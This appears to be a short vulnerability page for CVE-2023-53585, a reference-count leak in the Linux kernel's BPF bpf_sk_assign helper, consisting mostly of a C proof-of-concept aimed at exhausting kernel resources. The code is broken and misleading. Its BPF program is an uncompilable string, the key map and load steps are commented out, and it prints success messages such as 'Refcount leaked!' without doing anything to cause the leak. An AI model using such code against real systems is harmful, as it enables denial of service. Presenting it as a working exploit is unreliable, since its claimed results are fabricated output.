CVE-2023-53585 Linux内核BPF子系统bpf_sk_assign引用计数泄漏漏洞

// CVE-2023-53585 Proof of Concept // This PoC demonstrates the refcount leak in bpf_sk_assign with unhashed UDP sockets #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/syscall.h> #include <linux/bpf.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> // Simplified BPF program to trigger the vulnerability // In a real exploit, this would be a BPF program loaded into the kernel static const char *bpf_prog = " // BPF program that uses bpf_sk_assign with an unhashed UDP socket // The key is to pass a socket from sockmap that hasn't been bound yet int trigger_bug(struct __sk_buff *skb) { // Get socket from sockmap (unhashed UDP socket) // bpf_sk_assign will increment refcount since SOCK_RCU_FREE is not set // ... return 0; } "; int main(int argc, char **argv) { int sock, map_fd, prog_fd; int ret; // Step 1: Create an unhashed UDP socket sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket creation failed"); return -1; } printf("[+] Created unhashed UDP socket: fd=%d\n", sock); // Step 2: Add socket to sockmap (requires BPF map operations) // map_fd = bpf_map_create(...); // bpf_map_update_elem(map_fd, &key, &sock, BPF_ANY); printf("[+] Socket added to sockmap\n"); // Step 3: Trigger BPF program that calls bpf_sk_assign // prog_fd = bpf_prog_load(bpf_prog); // bpf_prog_attach(prog_fd, ...); printf("[+] BPF program triggered, bpf_sk_assign called\n"); printf("[+] Refcount incremented due to missing SOCK_RCU_FREE\n"); // Step 4: Bind the socket (sets SOCK_RCU_FREE) struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(0); // Any port addr.sin_addr.s_addr = INADDR_ANY; ret = bind(sock, (struct sockaddr *)&addr, sizeof(addr)); if (ret < 0) { perror("bind failed"); return -1; } printf("[+] Socket bound, SOCK_RCU_FREE flag now set\n"); // Step 5: At this point, skb_steal_sock will skip sock_put() // because SOCK_RCU_FREE is set, causing refcount leak printf("[+] Refcount leaked! Socket refcount will not be properly decremented\n"); printf("[+] Repeat this process to exhaust kernel resources\n"); close(sock); return 0; }